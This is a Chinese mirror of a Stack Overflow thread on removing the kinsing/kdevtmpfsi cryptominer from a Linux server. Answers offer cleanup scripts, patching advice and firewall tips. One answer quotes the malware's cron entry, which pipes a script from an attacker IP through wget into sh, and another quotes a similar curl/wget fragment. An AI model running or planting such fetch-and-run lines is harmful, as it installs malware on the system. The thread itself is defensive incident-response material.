kdevtmpfsi正在使用整个CPU

Question

kdevtmpfsi正在使用整个CPU

61

我们正在使用一个EC2（Ubuntu）亚马逊实例来运行Apache。最近我们注意到有一个进程占用了整个CPU。

我们使用以下步骤将其移除：

[root@hadoop002 tmp]# systemctl status 25177
● session-5772.scope - Session 5772 of user root
   Loaded: loaded (/run/systemd/system/session-5772.scope; static; vendor preset: disabled)
  Drop-In: /run/systemd/system/session-5772.scope.d
           └─50-After-systemd-logind\x2eservice.conf, 50-After-systemd-user-sessions\x2eservice.conf, 50-Description.conf, 50-SendSIGHUP.conf, 50-Slice.conf, 50-TasksMax.conf
   Active: active (abandoned) since Wed 2020-01-22 16:06:01 CST; 1h 21min ago
   CGroup: /user.slice/user-0.slice/session-5772.scope
           ├─19331 /var/tmp/kinsing
           └─25177 /tmp/kdevtmpfsi

Jan 22 16:06:17 hadoop002 crontab[19353]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19354]: (root) LIST (root)
Jan 22 16:06:17 hadoop002 crontab[19366]: (root) LIST (root)
Jan 22 16:06:17 hadoop002 crontab[19374]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19375]: (root) LIST (root)
Jan 22 16:06:17 hadoop002 crontab[19383]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19389]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19390]: (root) LIST (root)
Jan 22 16:06:17 hadoop002 crontab[19392]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19393]: (root) LIST (root)
[root@hadoop002 tmp]# ps -ef|grep kinsing
root     19331     1  0 16:06 ?        00:00:04 /var/tmp/kinsing
root     25190 23274  0 17:27 pts/0    00:00:00 grep --color=auto kinsing
[root@hadoop002 tmp]# ps -ef|grep kdevtmpfsi
root     25177     1 99 17:27 ?        00:01:47 /tmp/kdevtmpfsi
root     25197 23274  0 17:28 pts/0    00:00:00 grep --color=auto kdevtmpfsi
[root@hadoop002 tmp]# kill -9 19331
[root@hadoop002 tmp]# kill -9 25177
[root@hadoop002 tmp]# rm -rf kdevtmpfsi
[root@hadoop002 tmp]# cd /var/tmp/
[root@hadoop002 tmp]# ll
total 16692
-rw-r--r-- 1 root root        0 Jan 13 19:45 aliyun_assist_update.lock
-rwxr-xr-x 1 root root    13176 Dec 20 02:14 for
-rwxr-xr-x 1 root root 17072128 Jan 19 17:43 kinsing
drwx------ 3 root root     4096 Jan 13 19:50 systemd-private-f3342ea6023044bda27f0261d2582ea3-chronyd.service-O7aPIg
[root@hadoop002 tmp]# rm -rf kinsing

但几分钟后，它又自动开始了。有人知道如何解决吗？

- Shijin TR

我通过更改PHP-FPM端口为9000解决了问题！！！我终止了进程并删除了恶意软件文件。也要重建您的docker镜像！ kill -9 $（pidof kdevtmpfsi） kill -9 $（pidof kinsing） kill $（pgrep kdevtmp） kill $（pgrep kdevtmpfs） find / -iname kdevtmpfsi -exec rm -fv {} ; find / -iname kinsing -exec rm -fv {} ; rm / tmp / kdevtmp * rm / tmp / kinsing * - Cris

19个回答

网页内容由stack overflow 提供, 点击上面的

可以查看英文原文，
原文链接

- pashifika · Answer 1

#!/bin/bash

kill $(pgrep kdevtmp)
kill $(pgrep kinsing)
kill $(pgrep dbused)
find / -iname kdevtmpfsi -exec rm -fv {} \;
find / -iname kinsing -exec rm -fv {} \;
find / -iname dbused -exec rm -fv {} \;
rm /tmp/kdevtmp*
rm /tmp/kinsing*
rm /tmp/dbused*
ps -ef | grep “givemexyz” | awk ‘{print $2}’| xargs pkill
ps -ef | grep “dbuse” | awk ‘{print $2}’| xargs pkill
rm -rf /bin/bprofr /bin/sysdr /bin/crondr /bin/initdr /usr/bin/bprofr /usr/bin/sysdr /usr/bin/crondr /usr/bin/initdr /tmp/dbused /tmp/dbusex /tmp/xms /tmp/x86_64 /tmp/i686 /tmp/go /tmp/x64b /tmp/x32b /tmp/2start.jpg

并且

crontab -u gitlab -e

删除 * * * * *（curl -fsSL $url/xms||wget -q -O-

- Daniel Sá · Answer 2

在某些情况下，这可能是由于Laravel <= v8.4.2上的包facade/ignition中发现的安全漏洞引起的。CVE-2021-3129

这里有一篇文章解释了恶意软件的工作原理: Laravel <= v8.4.2调试模式: 远程代码执行 (CVE-2021-3129)

这个问题在这个包的版本2.4.2中得到了解决。(facade/ignition)

如果我处于你的位置，我会认为你的实例已经受到了攻击，并创建一个新的实例。在我做的测试中，恶意软件会改变位置并适应对系统所做的更改，以尝试阻止它。

- Abdalltif Basher · Answer 3

我遇到了这个问题，通过运行以下命令解决了它：

首先以root身份登录，并删除具有该进程的用户，在你的情况下是www-data。

sudo deluser --remove-home www-data

结束用户进程

killall --user www-data

- haiflive · Answer 4

在我的情况下，它是从www-data用户运行的：可以这样帮助：

sudo crontab -u www-data -e

删除这行代码（定时任务）：

* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1

- Amul · Answer 5

我发现上述所有解决方案都很有帮助，但它们似乎都是临时解决方案，因为我们需要监视实例，如果注意到任何恶意活动，则需要再次执行相同的过程。

我大约一个月前遇到了这种病毒，并应用了上面的所有解决方案，在有限的时间内运行良好，之后它会再次出现。

即使我没有在系统中安装docker，因此docker开放API端口不是问题。

但是，某些开源软件是kinsing的开放门户。

PhpMailer和Solr存在一些远程代码执行漏洞，导致整个问题。

简单的解决方案是将您的Solr版本升级到8.5.1，并且还可以设置一个安全性，这将100％删除该病毒并使其永久消失。

这里是完整的说明：https://github.com/amulcse/solr-kinsing-malware。

- Dilibaba · Answer 6

如果您尝试了上述所有方法，但病毒仍然出现，可能是以新名称出现，您应该检查服务器的开放端口，这就是恶意软件进入服务器的地方。

为了安全起见，您应该：

启动防火墙。
如果您需要访问远程服务器的某些端口，请使用端口转发技术。

这将使您的服务器变得更加安全，不再出现kdevtmpfsi。

- aman formuli · Answer 7

对于 AWS 用户，请在实例安全组中删除允许所有端口（0.0.0.0/0）作为出站流量的规则。

- александр караваев · Answer 8

也许这对某些人会有用。我发现了一些关于kinsing/kdevtmpfsi的条目：

/etc/kinsing

/usr/lib/systemd/system/bot.service

在bot.service中：

ExecStart=/etc/kinsing

我刚刚按照这个帖子的指示操作，删除了两个文件，重新启动了服务器。

希望对某些人有所帮助。我已经花了一整天的时间来尝试解决它。

- mariobgr · Answer 9

我找到了一个临时停止进程运行的解决方案（不使用Docker/Redis，所以问题很可能出在phpunit中）：

/bin/setfacl -m u:www-data:--- /tmp/kinsing
/bin/setfacl -m u:www-data:--- /tmp/kdevtmpfsi

这将防止用户www-data（在我的情况下，正在运行该进程）执行脚本。

此外，您很可能会在用户www-data下添加cronjob-删除它并运行service cron restart！

请记住，这是一个临时修复/黑客。您必须更新易受攻击的软件以永久删除此线程！